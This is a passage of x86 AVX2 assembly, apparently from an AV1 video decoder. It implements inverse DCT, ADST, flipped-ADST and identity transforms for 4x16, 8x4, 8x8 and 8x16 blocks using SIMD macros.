pxor xm0, xm1
pavgw xm0, xm2
pmulhrsw xm0, xm3
pmulhrsw xm0, xm4
vpbroadcastq m0, xm0
mova m1, m0
mova m2, m0
mova m3, m0
jmp m(iadst_4x16_internal).end3
%elifidn %1_%2, dct_dct
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
movd xm3, [o(pw_2048)]
mov [cq], eobd
pmulhrsw xm0, xm2
pmulhrsw xm0, xm1
pmulhrsw xm0, xm3
vpbroadcastw m0, xm0
mova m1, m0
mova m2, m0
mova m3, m0
jmp m(iadst_4x16_internal).end4
%else ; adst_dct / flipadst_dct
vpbroadcastw xm0, [cq]
pmulhrsw xm0, [o(iadst4_dconly1a)]
vpbroadcastd xm1, [o(pw_16384)]
vpbroadcastd xm2, [o(pw_2896x8)]
mov [cq], eobd
pmulhrsw xm0, xm1
psrlw xm1, 3 ; pw_2048
pmulhrsw xm0, xm2
pmulhrsw xm0, xm1
%ifidn %1, adst
vpbroadcastq m0, xm0
%else ; flipadst
vpermq m0, m0, q1111
%endif
mova m1, m0
mova m2, m0
mova m3, m0
jmp m(iadst_4x16_internal).end4
%endif
%endif
%endmacro
%macro IDCT16_1D_PACKED 0
vpbroadcastd m10, [o(pd_2048)]
.main2:
punpckhwd m8, m7, m0 ; dct16 in15 in1
punpcklwd m9, m4, m0 ; dct4 in2 in0
punpckhwd m0, m3, m4 ; dct16 in7 in9
punpcklwd m7, m1 ; dct8 in7 in1
punpckhwd m1, m6 ; dct16 in3 in13
punpcklwd m3, m5 ; dct8 in3 in5
punpckhwd m5, m2 ; dct16 in11 in5
punpcklwd m6, m2 ; dct4 in3 in1
ITX_MUL2X_PACK 8, 2, 4, 10, 401, 4076, 3 ; t8a t15a
ITX_MUL2X_PACK 0, 2, 4, 10, 3166, 2598, 3 ; t9a t14a
ITX_MUL2X_PACK 1, 2, 4, 10, 3920, 1189, 3 ; t11a t12a
ITX_MUL2X_PACK 5, 2, 4, 10, 1931, 3612, 3 ; t10a t13a
ITX_MUL2X_PACK 7, 2, 4, 10, 799, 4017, 3 ; t4a t7a
ITX_MUL2X_PACK 3, 2, 4, 10, 3406, 2276, 3 ; t5a t6a
ITX_MUL2X_PACK 6, 2, 4, 10, 1567, 3784 ; t3 t2
psubsw m2, m8, m0 ; t9 t14
paddsw m8, m0 ; t8 t15
psubsw m0, m1, m5 ; t10 t13
paddsw m1, m5 ; t11 t12
vpbroadcastd m5, [o(pw_m3784_1567)] ; reuse pw_1567_3784
ITX_MUL2X_PACK 2, 4, _, 10, 4, 5, 6 ; t9a t14a
vpbroadcastd m4, [o(pw_m1567_m3784)] ; reuse pw_m3784_1567
ITX_MUL2X_PACK 0, 5, _, 10, 5, 4, 6 ; t10a t13a
psubsw m4, m8, m1 ; t11a t12a
paddsw m8, m1 ; t8a t15a
psubsw m1, m7, m3 ; t5a t6a
paddsw m7, m3 ; t4 t7
paddsw m3, m2, m0 ; t9 t14
psubsw m2, m0 ; t10 t13
%if mmsize > 16
vbroadcasti128 m0, [o(deint_shuf)]
%else
mova m0, [o(deint_shuf)]
%endif
pshufb m8, m0
pshufb m7, m0
pshufb m3, m0
ITX_MUL2X_PACK 9, 0, 5, 10, 2896, 2896 ; t0 t1
vpbroadcastd m0, [o(pw_m2896_2896)]
ITX_MUL2X_PACK 4, 5, _, 10, 5, 0, 4 ; t11 t12
vpbroadcastd m5, [o(pw_2896_2896)]
ITX_MUL2X_PACK 1, 0, _, 10, 0, 5, 4 ; t6 t5
vpbroadcastd m0, [o(pw_m2896_2896)]
ITX_MUL2X_PACK 2, 0, _, 10, 0, 5, 4, ; t13a t10a
punpckhqdq m0, m8, m3 ; t15a t14
punpcklqdq m8, m3 ; t8a t9
shufps m5, m4, m2, q1032 ; t12 t13a
vpblendd m4, m2, 0xcc ; t11 t10a
shufps m2, m7, m1, q1032 ; t7 t6
vpblendd m7, m1, 0xcc ; t4 t5
psubsw m1, m9, m6 ; dct4 out3 out2
paddsw m9, m6 ; dct4 out0 out1
psubsw m3, m9, m2 ; dct8 out7 out6
paddsw m9, m2 ; dct8 out0 out1
psubsw m2, m1, m7 ; dct8 out4 out5
paddsw m1, m7 ; dct8 out3 out2
psubsw m7, m9, m0 ; out15 out14
paddsw m0, m9 ; out0 out1
psubsw m6, m1, m5 ; out12 out13
paddsw m1, m5 ; out3 out2
psubsw m5, m2, m4 ; out11 out10
paddsw m2, m4 ; out4 out5
psubsw m4, m3, m8 ; out8 out9
paddsw m3, m8 ; out7 out6
%endmacro
INV_TXFM_4X16_FN dct, dct, 0
INV_TXFM_4X16_FN dct, identity, 15
INV_TXFM_4X16_FN dct, adst
INV_TXFM_4X16_FN dct, flipadst
cglobal idct_4x16_internal, 0, 5, 11, dst, stride, c, eob, tx2
mova m0, [cq+32*0]
mova m1, [cq+32*1]
mova m2, [cq+32*2]
mova m3, [cq+32*3]
call m(idct_16x4_internal).main
vpbroadcastd m5, [o(pw_16384)]
punpckhwd m4, m2, m3
punpcklwd m2, m3
punpckhwd m3, m0, m1
punpcklwd m0, m1
REPX {pmulhrsw x, m5}, m0, m4, m2, m3
punpckhdq m1, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
jmp tx2q
.pass2:
vextracti128 xm4, m0, 1
vextracti128 xm5, m1, 1
vextracti128 xm6, m2, 1
vextracti128 xm7, m3, 1
call .main
vinserti128 m0, m0, xm4, 1
vinserti128 m1, m1, xm5, 1
vpbroadcastd m5, [o(pw_2048)]
vinserti128 m2, m2, xm6, 1
vinserti128 m3, m3, xm7, 1
pshufd m1, m1, q1032
pshufd m3, m3, q1032
jmp m(iadst_4x16_internal).end2
ALIGN function_align
.main:
WRAP_XMM IDCT16_1D_PACKED
ret
INV_TXFM_4X16_FN adst, dct, 0
INV_TXFM_4X16_FN adst, adst
INV_TXFM_4X16_FN adst, flipadst
INV_TXFM_4X16_FN adst, identity
cglobal iadst_4x16_internal, 0, 5, 11, dst, stride, c, eob, tx2
mova m0, [cq+32*0]
mova m1, [cq+32*1]
mova m2, [cq+32*2]
mova m3, [cq+32*3]
call m(iadst_16x4_internal).main
vpbroadcastd m5, [o(pw_16384)]
punpckhwd m4, m2, m3
punpcklwd m2, m3
punpckhwd m3, m0, m1
punpcklwd m0, m1
REPX {pmulhrsw x, m5}, m4, m2, m3, m0
punpckhdq m1, m0, m2
punpckldq m0, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
jmp tx2q
.pass2:
call .main
vpbroadcastd m5, [o(pw_2896x8)]
paddsw m1, m2, m4
psubsw m2, m4
pmulhrsw m1, m5 ; -out7 out4 out6 -out5
pmulhrsw m2, m5 ; out8 -out11 -out9 out10
vpbroadcastd m5, [o(pw_2048)]
pshufd m1, m1, q1032
vpblendd m4, m1, m0, 0x33
vpblendd m0, m0, m2, 0x33
vpblendd m2, m2, m3, 0x33
vpblendd m3, m3, m1, 0x33
vpermq m0, m0, q2031
vpermq m1, m2, q1302
vpermq m2, m3, q3120
vpermq m3, m4, q0213
psubw m6, m7, m5
.end:
vpblendd m5, m5, m6, 0xcc
.end2:
REPX {pmulhrsw x, m5}, m0, m1, m2, m3
WIN64_RESTORE_XMM
.end3:
pxor m4, m4
mova [cq+32*0], m4
mova [cq+32*1], m4
mova [cq+32*2], m4
mova [cq+32*3], m4
.end4:
lea r2, [dstq+strideq*8]
lea r3, [strideq*3]
WRITE_4X8 0, 1
lea dstq, [dstq+strideq*4]
lea r2, [r2 +strideq*4]
WRITE_4X8 2, 3
RET
ALIGN function_align
.main:
vpblendd m4, m1, m0, 0xcc
vpblendd m1, m1, m0, 0x33
vpblendd m5, m2, m3, 0xcc
vpblendd m2, m2, m3, 0x33
vperm2i128 m3, m5, m2, 0x31
vinserti128 m0, m1, xm4, 1 ; in0 in3 in2 in1
vperm2i128 m4, m1, m4, 0x31
vinserti128 m1, m5, xm2, 1 ; in4 in7 in6 in5
pshufd m3, m3, q1032 ; in12 in15 in13 in14
pshufd m2, m4, q1032 ; in11 in8 in9 in10
.main2:
vpbroadcastd m8, [o(pd_2048)]
pxor m7, m7
punpckhwd m4, m3, m0 ; in12 in3 in14 in1
punpcklwd m0, m3 ; in0 in15 in2 in13
punpckhwd m3, m2, m1 ; in8 in7 in10 in5
punpcklwd m1, m2 ; in4 in11 in6 in9
ITX_MUL4X_PACK 0, 2, 5, 6, 8, 201, 4091, 995, 3973, 3
ITX_MUL4X_PACK 1, 2, 5, 6, 8, 1751, 3703, 2440, 3290, 3
ITX_MUL4X_PACK 3, 2, 5, 6, 8, 3035, 2751, 3513, 2106, 3
ITX_MUL4X_PACK 4, 2, 5, 6, 8, 3857, 1380, 4052, 601, 3
psubsw m2, m0, m3 ; t9a t8a t11a t10a
paddsw m0, m3 ; t1a t0a t3a t2a
psubsw m3, m1, m4 ; t13a t12a t15a t14a
paddsw m1, m4 ; t5a t4a t7a t6a
ITX_MUL4X_PACK 2, 4, 5, 6, 8, 799, 4017, 3406, 2276, 3
psubw m6, m7, m5
ITX_MUL2X_PACK 3, 5, _, 8, 6, 4, 6
vpbroadcastd m6, [o(pw_m3784_1567)]
vpbroadcastd m5, [o(pw_1567_3784)]
psubsw m4, m0, m1 ; t5 t4 t7 t6
paddsw m0, m1 ; t1 t0 t3 t2
psubsw m1, m2, m3 ; t13a t12a t15a t14a
paddsw m2, m3 ; t9a t8a t11a t10a
psubw m3, m7, m6 ; pw_3784_m1567
vpblendd m6, m6, m3, 0xf0
ITX_MUL2X_PACK 4, 3, _, 8, 6, 5, 4 ; t4a t5a t7a t6a
ITX_MUL2X_PACK 1, 3, _, 8, 6, 5, 4 ; t12 t13 t15 t14
vbroadcasti128 m5, [o(deint_shuf)]
pshufb m0, m5
pshufb m2, m5
vperm2i128 m3, m0, m2, 0x31 ; t3 t2 t11a t10a
vinserti128 m0, m0, xm2, 1 ; t1 t0 t9a t8a
vperm2i128 m2, m4, m1, 0x31 ; t7a t6a t15 t14
vinserti128 m4, m4, xm1, 1 ; t4a t5a t12 t13
pshufd m2, m2, q1032 ; t6a t7a t14 t15
psubsw m1, m0, m3 ; t3a t2a t11 t10
paddsw m0, m3 ; -out15 out0 out14 -out1
paddsw m3, m4, m2 ; -out3 out12 out2 -out13
psubsw m4, m2 ; t6 t7 t14a t15a
shufps m2, m1, m4, q1032 ; t2a t6 t10 t14a
vpblendd m4, m4, m1, 0x33 ; t3a t7 t11 t15a
ret
ALIGN function_align
.main_pass1_end:
vpbroadcastd m5, [o(pw_m2896_2896)]
vpbroadcastd m6, [o(pw_2896_2896)]
punpcklwd m1, m4, m2
punpckhwd m4, m2
pmaddwd m2, m5, m4
pmaddwd m4, m6
pmaddwd m5, m1
pmaddwd m1, m6
REPX {paddd x, m8}, m5, m1, m2, m4
REPX {psrad x, 12}, m5, m2, m1, m4
packssdw m2, m5 ; -out11 out8 out10 -out9
packssdw m1, m4 ; -out7 out4 out6 -out5
ret
INV_TXFM_4X16_FN flipadst, dct, 0
INV_TXFM_4X16_FN flipadst, adst
INV_TXFM_4X16_FN flipadst, flipadst
INV_TXFM_4X16_FN flipadst, identity
cglobal iflipadst_4x16_internal, 0, 5, 11, dst, stride, c, eob, tx2
mova m0, [cq+32*0]
mova m1, [cq+32*1]
mova m2, [cq+32*2]
mova m3, [cq+32*3]
call m(iadst_16x4_internal).main
vpbroadcastd m5, [o(pw_16384)]
punpcklwd m4, m1, m0
punpckhwd m1, m0
punpcklwd m0, m3, m2
punpckhwd m3, m2
REPX {pmulhrsw x, m5}, m4, m1, m0, m3
punpckldq m2, m3, m1
punpckhdq m3, m1
punpckhdq m1, m0, m4
punpckldq m0, m4
jmp tx2q
.pass2:
call m(iadst_4x16_internal).main
vpbroadcastd m5, [o(pw_2896x8)]
paddsw m1, m2, m4
psubsw m2, m4
pmulhrsw m1, m5 ; -out7 out4 out6 -out5
pmulhrsw m2, m5 ; out8 -out11 -out9 out10
vpbroadcastd m6, [o(pw_2048)]
pshufd m1, m1, q1032
vpblendd m4, m0, m2, 0x33
vpblendd m0, m0, m1, 0xcc
vpblendd m1, m1, m3, 0xcc
vpblendd m2, m2, m3, 0x33
vpermq m0, m0, q3120
vpermq m1, m1, q0213
vpermq m2, m2, q2031
vpermq m3, m4, q1302
psubw m5, m7, m6
jmp m(iadst_4x16_internal).end
INV_TXFM_4X16_FN identity, dct, 3
INV_TXFM_4X16_FN identity, adst
INV_TXFM_4X16_FN identity, flipadst
INV_TXFM_4X16_FN identity, identity
cglobal iidentity_4x16_internal, 0, 5, 11, dst, stride, c, eob, tx2
mova m3, [cq+32*0]
mova m2, [cq+32*1]
mova m4, [cq+32*2]
mova m5, [cq+32*3]
vpbroadcastd m8, [o(pw_1697x8)]
pcmpeqw m0, m0 ; -1
punpcklwd m1, m3, m2
punpckhwd m3, m2
punpcklwd m2, m4, m5
punpckhwd m4, m5
pmulhrsw m5, m8, m1
pmulhrsw m6, m8, m2
pmulhrsw m7, m8, m3
pmulhrsw m8, m4
pcmpeqw m9, m0, m1 ; we want to do a signed avg, but pavgw is
pxor m1, m9 ; unsigned. as long as both signs are equal
pcmpeqw m9, m0, m2 ; it still works, but if the input is -1 the
pxor m2, m9 ; pmulhrsw result will become 0 which causes
pcmpeqw m9, m0, m3 ; pavgw to output -32768 instead of 0 unless
pxor m3, m9 ; we explicitly deal with that case here.
pcmpeqw m0, m4
pxor m4, m0
pavgw m1, m5
pavgw m2, m6
pavgw m3, m7
pavgw m4, m8
punpckldq m0, m1, m2
punpckhdq m1, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
jmp tx2q
.pass2:
vpbroadcastd m8, [o(pw_1697x16)]
vpbroadcastd m5, [o(pw_2048)]
pmulhrsw m4, m8, m0
pmulhrsw m6, m8, m1
pmulhrsw m7, m8, m2
pmulhrsw m8, m3
REPX {paddsw x, x}, m0, m1, m2, m3
paddsw m0, m4
paddsw m1, m6
paddsw m2, m7
paddsw m3, m8
jmp m(iadst_4x16_internal).end2
%macro WRITE_8X4 4-7 strideq*1, strideq*2, r3, ; coefs[1-2], tmp[1-2], off[1-3]
movq xm%3, [dstq ]
movhps xm%3, [dstq+%5]
movq xm%4, [dstq+%6]
movhps xm%4, [dstq+%7]
pmovzxbw m%3, xm%3
pmovzxbw m%4, xm%4
%ifnum %1
paddw m%3, m%1
%else
paddw m%3, %1
%endif
%ifnum %2
paddw m%4, m%2
%else
paddw m%4, %2
%endif
packuswb m%3, m%4
vextracti128 xm%4, m%3, 1
movq [dstq ], xm%3
movhps [dstq+%6], xm%3
movq [dstq+%5], xm%4
movhps [dstq+%7], xm%4
%endmacro
%macro INV_TXFM_8X4_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 8x4
%if %3 >= 0
%ifidn %1_%2, dct_identity
vpbroadcastd xm0, [o(pw_2896x8)]
pmulhrsw xm1, xm0, [cq]
vpbroadcastd xm2, [o(pw_1697x8)]
vpbroadcastd xm3, [o(pw_2048)]
pmulhrsw xm1, xm0
pmulhrsw xm2, xm1
paddsw xm1, xm2
pmulhrsw xm1, xm3
punpcklwd xm1, xm1
punpckldq xm0, xm1, xm1
punpckhdq xm1, xm1
vpermq m0, m0, q1100
vpermq m1, m1, q1100
%elifidn %1_%2, identity_dct
mova xm0, [cq+16*0]
packusdw xm0, [cq+16*1]
mova xm1, [cq+16*2]
packusdw xm1, [cq+16*3]
vpbroadcastd xm2, [o(pw_2896x8)]
vpbroadcastd xm3, [o(pw_2048)]
packusdw xm0, xm1
pmulhrsw xm0, xm2
paddsw xm0, xm0
pmulhrsw xm0, xm2
pmulhrsw xm0, xm3
vinserti128 m0, m0, xm0, 1
mova m1, m0
%else
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
pmulhrsw xm0, xm1
%ifidn %2, dct
movd xm2, [o(pw_2048)]
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
mova m1, m0
%else ; adst / flipadst
vpbroadcastw m0, xm0
pmulhrsw m0, [o(iadst4_dconly2a)]
vpbroadcastd m1, [o(pw_2048)]
pmulhrsw m1, m0
%ifidn %2, adst
vpermq m0, m1, q1100
vpermq m1, m1, q3322
%else ; flipadst
vpermq m0, m1, q2233
vpermq m1, m1, q0011
%endif
%endif
%endif
jmp m(iadst_8x4_internal).end3
%endif
%endmacro
INV_TXFM_8X4_FN dct, dct, 0
INV_TXFM_8X4_FN dct, adst, 0
INV_TXFM_8X4_FN dct, flipadst, 0
INV_TXFM_8X4_FN dct, identity, 3
cglobal idct_8x4_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpbroadcastd xm3, [o(pw_2896x8)]
pmulhrsw xm0, xm3, [cq+16*0]
pmulhrsw xm1, xm3, [cq+16*1]
pmulhrsw xm2, xm3, [cq+16*2]
pmulhrsw xm3, [cq+16*3]
call m(idct_4x8_internal).main
vbroadcasti128 m4, [o(deint_shuf)]
vinserti128 m3, m1, xm3, 1
vinserti128 m1, m0, xm2, 1
shufps m0, m1, m3, q0220
shufps m1, m1, m3, q1331
pshufb m0, m4
pshufb m1, m4
jmp tx2q
.pass2:
IDCT4_1D_PACKED
vpermq m0, m0, q3120
vpermq m1, m1, q2031
jmp m(iadst_8x4_internal).end2
INV_TXFM_8X4_FN adst, dct
INV_TXFM_8X4_FN adst, adst
INV_TXFM_8X4_FN adst, flipadst
INV_TXFM_8X4_FN adst, identity
cglobal iadst_8x4_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpbroadcastd xm0, [o(pw_2896x8)]
pshufd xm4, [cq+16*0], q1032
pmulhrsw xm3, xm0, [cq+16*3]
pshufd xm5, [cq+16*1], q1032
pmulhrsw xm2, xm0, [cq+16*2]
pmulhrsw xm4, xm0
pmulhrsw xm5, xm0
call m(iadst_4x8_internal).main_pass1
vinserti128 m0, m0, xm2, 1
vinserti128 m1, m1, xm3, 1
punpckhwd m2, m0, m1
punpcklwd m0, m1
pxor m3, m3
psubsw m3, m2
punpckhwd m1, m0, m3
punpcklwd m0, m3
jmp tx2q
.pass2:
call .main
.end:
vpermq m0, m0, q3120
vpermq m1, m1, q3120
.end2:
vpbroadcastd m2, [o(pw_2048)]
pmulhrsw m0, m2
pmulhrsw m1, m2
WIN64_RESTORE_XMM
.end3:
pxor m2, m2
mova [cq+32*0], m2
mova [cq+32*1], m2
lea r3, [strideq*3]
WRITE_8X4 0, 1, 4, 5
RET
ALIGN function_align
.main:
IADST4_1D_PACKED
ret
INV_TXFM_8X4_FN flipadst, dct
INV_TXFM_8X4_FN flipadst, adst
INV_TXFM_8X4_FN flipadst, flipadst
INV_TXFM_8X4_FN flipadst, identity
cglobal iflipadst_8x4_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpbroadcastd xm0, [o(pw_2896x8)]
pshufd xm4, [cq+16*0], q1032
pmulhrsw xm3, xm0, [cq+16*3]
pshufd xm5, [cq+16*1], q1032
pmulhrsw xm2, xm0, [cq+16*2]
pmulhrsw xm4, xm0
pmulhrsw xm5, xm0
call m(iadst_4x8_internal).main_pass1
vinserti128 m3, m3, xm1, 1
vinserti128 m2, m2, xm0, 1
punpckhwd m1, m3, m2
punpcklwd m3, m2
pxor m0, m0
psubsw m0, m1
punpckhwd m1, m0, m3
punpcklwd m0, m3
jmp tx2q
.pass2:
call m(iadst_8x4_internal).main
mova m2, m1
vpermq m1, m0, q2031
vpermq m0, m2, q2031
jmp m(iadst_8x4_internal).end2
INV_TXFM_8X4_FN identity, dct, 7
INV_TXFM_8X4_FN identity, adst
INV_TXFM_8X4_FN identity, flipadst
INV_TXFM_8X4_FN identity, identity
cglobal iidentity_8x4_internal, 0, 5, 7, dst, stride, c, eob, tx2
mova xm2, [cq+16*0]
mova xm0, [cq+16*1]
vinserti128 m2, m2, [cq+16*2], 1
vinserti128 m0, m0, [cq+16*3], 1
vpbroadcastd m3, [o(pw_2896x8)]
punpcklwd m1, m2, m0
punpckhwd m2, m0
pmulhrsw m1, m3
pmulhrsw m2, m3
punpcklwd m0, m1, m2
punpckhwd m1, m2
paddsw m0, m0
paddsw m1, m1
jmp tx2q
.pass2:
vpbroadcastd m3, [o(pw_1697x8)]
pmulhrsw m2, m3, m0
pmulhrsw m3, m1
paddsw m0, m2
paddsw m1, m3
jmp m(iadst_8x4_internal).end
%macro INV_TXFM_8X8_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 8x8
%ifidn %1_%2, dct_identity
vpbroadcastd xm0, [o(pw_2896x8)]
pmulhrsw xm0, [cq]
vpbroadcastd xm1, [o(pw_16384)]
pmulhrsw xm0, xm1
psrlw xm1, 2 ; pw_4096
pmulhrsw xm0, xm1
pshufb xm0, [o(deint_shuf)]
vpermq m3, m0, q1100
punpcklwd m3, m3
pshufd m0, m3, q0000
pshufd m1, m3, q1111
pshufd m2, m3, q2222
pshufd m3, m3, q3333
jmp m(iadst_8x8_internal).end4
%elif %3 >= 0
%ifidn %1, dct
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm2
psrlw xm2, 3 ; pw_2048
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
.end:
mov r2d, 2
.end2:
lea r3, [strideq*3]
.loop:
WRITE_8X4 0, 0, 1, 2
lea dstq, [dstq+strideq*4]
dec r2d
jg .loop
RET
%else ; identity
mova m0, [cq+32*0]
punpcklwd m0, [cq+32*1]
mova m1, [cq+32*2]
punpcklwd m1, [cq+32*3]
vpbroadcastd m2, [o(pw_2896x8)]
vpbroadcastd m3, [o(pw_2048)]
pxor m4, m4
mova [cq+32*0], m4
mova [cq+32*1], m4
mova [cq+32*2], m4
mova [cq+32*3], m4
punpckldq m0, m1
vpermq m1, m0, q3232
vpermq m0, m0, q1010
punpcklwd m0, m1
pmulhrsw m0, m2
pmulhrsw m0, m3
jmp m(inv_txfm_add_dct_dct_8x8).end
%endif
%endif
%endmacro
INV_TXFM_8X8_FN dct, dct, 0
INV_TXFM_8X8_FN dct, identity, 7
INV_TXFM_8X8_FN dct, adst
INV_TXFM_8X8_FN dct, flipadst
cglobal idct_8x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m0, [cq+32*0], q3120 ; 0 1
vpermq m3, [cq+32*3], q3120 ; 6 7
vpermq m2, [cq+32*2], q3120 ; 4 5
vpermq m1, [cq+32*1], q3120 ; 2 3
call .main
shufps m4, m0, m1, q0220
shufps m5, m0, m1, q1331
shufps m1, m2, m3, q0220
shufps m3, m2, m3, q1331
vbroadcasti128 m0, [o(deint_shuf)]
vpbroadcastd m2, [o(pw_16384)]
REPX {pshufb x, m0}, m4, m5, m1, m3
REPX {pmulhrsw x, m2}, m4, m5, m1, m3
vinserti128 m0, m4, xm1, 1
vperm2i128 m2, m4, m1, 0x31
vinserti128 m1, m5, xm3, 1
vperm2i128 m3, m5, m3, 0x31
jmp tx2q
.pass2:
call .main
vpbroadcastd m4, [o(pw_2048)]
vpermq m0, m0, q3120
vpermq m1, m1, q2031
vpermq m2, m2, q3120
vpermq m3, m3, q2031
jmp m(iadst_8x8_internal).end2
ALIGN function_align
.main:
IDCT8_1D_PACKED
ret
INV_TXFM_8X8_FN adst, dct
INV_TXFM_8X8_FN adst, adst
INV_TXFM_8X8_FN adst, flipadst
INV_TXFM_8X8_FN adst, identity
cglobal iadst_8x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m4, [cq+32*0], q1302 ; 1 0
vpermq m3, [cq+32*3], q3120 ; 6 7
vpermq m5, [cq+32*1], q1302 ; 3 2
vpermq m2, [cq+32*2], q3120 ; 4 5
call .main_pass1
vpbroadcastd m5, [o(pw_16384)]
punpcklwd m4, m0, m1
punpckhwd m0, m1
punpcklwd m1, m2, m3
punpckhwd m2, m3
pxor m3, m3
psubw m3, m5 ; negate odd elements during rounding
pmulhrsw m4, m5
pmulhrsw m0, m3
pmulhrsw m1, m5
pmulhrsw m2, m3
punpcklwd m3, m4, m0
punpckhwd m4, m0
punpcklwd m0, m1, m2
punpckhwd m1, m2
vperm2i128 m2, m3, m0, 0x31
vinserti128 m0, m3, xm0, 1
vperm2i128 m3, m4, m1, 0x31
vinserti128 m1, m4, xm1, 1
jmp tx2q
.pass2:
pshufd m4, m0, q1032
pshufd m5, m1, q1032
call .main_pass2
vpbroadcastd m5, [o(pw_2048)]
vpbroadcastd xm4, [o(pw_4096)]
psubw m4, m5 ; lower half = 2048, upper half = -2048
.end:
REPX {vpermq x, x, q3120}, m0, m1, m2, m3
.end2:
pmulhrsw m0, m4
pmulhrsw m1, m4
.end3:
pmulhrsw m2, m4
pmulhrsw m3, m4
WIN64_RESTORE_XMM
.end4:
pxor m4, m4
mova [cq+32*0], m4
mova [cq+32*1], m4
mova [cq+32*2], m4
mova [cq+32*3], m4
lea r3, [strideq*3]
WRITE_8X4 0, 1, 4, 5
lea dstq, [dstq+strideq*4]
WRITE_8X4 2, 3, 4, 5
RET
ALIGN function_align
.main_pass1:
IADST8_1D_PACKED 1
ret
ALIGN function_align
.main_pass2:
IADST8_1D_PACKED 2
ret
INV_TXFM_8X8_FN flipadst, dct
INV_TXFM_8X8_FN flipadst, adst
INV_TXFM_8X8_FN flipadst, flipadst
INV_TXFM_8X8_FN flipadst, identity
cglobal iflipadst_8x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
vpermq m4, [cq+32*0], q1302 ; 1 0
vpermq m3, [cq+32*3], q3120 ; 6 7
vpermq m5, [cq+32*1], q1302 ; 3 2
vpermq m2, [cq+32*2], q3120 ; 4 5
call m(iadst_8x8_internal).main_pass1
vpbroadcastd m5, [o(pw_16384)]
punpckhwd m4, m3, m2
punpcklwd m3, m2
punpckhwd m2, m1, m0
punpcklwd m1, m0
pxor m0, m0
psubw m0, m5
pmulhrsw m4, m0
pmulhrsw m3, m5
pmulhrsw m2, m0
pmulhrsw m1, m5
punpckhwd m0, m4, m3
punpcklwd m4, m3
punpckhwd m3, m2, m1
punpcklwd m2, m1
vinserti128 m1, m0, xm3, 1
vperm2i128 m3, m0, m3, 0x31
vinserti128 m0, m4, xm2, 1
vperm2i128 m2, m4, m2, 0x31
jmp tx2q
.pass2:
pshufd m4, m0, q1032
pshufd m5, m1, q1032
call m(iadst_8x8_internal).main_pass2
vpbroadcastd m4, [o(pw_2048)]
vpbroadcastd xm5, [o(pw_4096)]
psubw m4, m5 ; lower half = -2048, upper half = 2048
vpermq m5, m3, q2031
vpermq m3, m0, q2031
vpermq m0, m2, q2031
vpermq m2, m1, q2031
pmulhrsw m1, m0, m4
pmulhrsw m0, m5, m4
jmp m(iadst_8x8_internal).end3
INV_TXFM_8X8_FN identity, dct, 7
INV_TXFM_8X8_FN identity, adst
INV_TXFM_8X8_FN identity, flipadst
INV_TXFM_8X8_FN identity, identity
cglobal iidentity_8x8_internal, 0, 5, 7, dst, stride, c, eob, tx2
mova xm3, [cq+16*0]
mova xm2, [cq+16*1]
vinserti128 m3, m3, [cq+16*4], 1
vinserti128 m2, m2, [cq+16*5], 1
mova xm4, [cq+16*2]
mova xm0, [cq+16*3]
vinserti128 m4, m4, [cq+16*6], 1
vinserti128 m0, m0, [cq+16*7], 1
punpcklwd m1, m3, m2
punpckhwd m3, m2
punpcklwd m2, m4, m0
punpckhwd m4, m0
punpckldq m0, m1, m2
punpckhdq m1, m2
punpckldq m2, m3, m4
punpckhdq m3, m4
jmp tx2q
.pass2:
vpbroadcastd m4, [o(pw_4096)]
jmp m(iadst_8x8_internal).end
%macro INV_TXFM_8X16_FN 2-3 -1 ; type1, type2, fast_thresh
INV_TXFM_FN %1, %2, %3, 8x16
%ifidn %1_%2, dct_dct
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
psrlw xm2, 3 ; pw_2048
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
mov r2d, 4
jmp m(inv_txfm_add_dct_dct_8x8).end2
%elifidn %1_%2, dct_identity
WIN64_SPILL_XMM 13
vpbroadcastd m0, [o(pw_2896x8)]
pmulhrsw m7, m0, [cq]
vpbroadcastd m1, [o(pw_16384)]
vpbroadcastd m2, [o(pw_1697x16)]
pxor m3, m3
mova [cq], m3
pmulhrsw m7, m0
pmulhrsw m7, m1
psrlw m1, 3 ; pw_2048
pmulhrsw m2, m7
paddsw m7, m7
paddsw m7, m2
pmulhrsw m7, m1
punpcklwd m5, m7, m7
punpckhwd m7, m7
punpcklwd m4, m5, m5
punpckhwd m5, m5
punpcklwd m6, m7, m7
punpckhwd m7, m7
vpermq m0, m4, q1100
vpermq m1, m5, q1100
vpermq m2, m6, q1100
vpermq m3, m7, q1100
vpermq m4, m4, q3322
vpermq m5, m5, q3322
vpermq m6, m6, q3322
vpermq m7, m7, q3322
jmp m(idct_8x16_internal).end4
%elifidn %1_%2, identity_dct
movd xm0, [cq+32*0]
punpcklwd xm0, [cq+32*1]
movd xm2, [cq+32*2]
punpcklwd xm2, [cq+32*3]
add cq, 32*4
movd xm1, [cq+32*0]
punpcklwd xm1, [cq+32*1]
movd xm3, [cq+32*2]
punpcklwd xm3, [cq+32*3]
vpbroadcastd xm4, [o(pw_2896x8)]
vpbroadcastd xm5, [o(pw_2048)]
xor eax, eax
mov [cq-32*4], eax
mov [cq-32*3], eax
mov [cq-32*2], eax
mov [cq-32*1], eax
punpckldq xm0, xm2
punpckldq xm1, xm3
punpcklqdq xm0, xm1
pmulhrsw xm0, xm4
pmulhrsw xm0, xm4
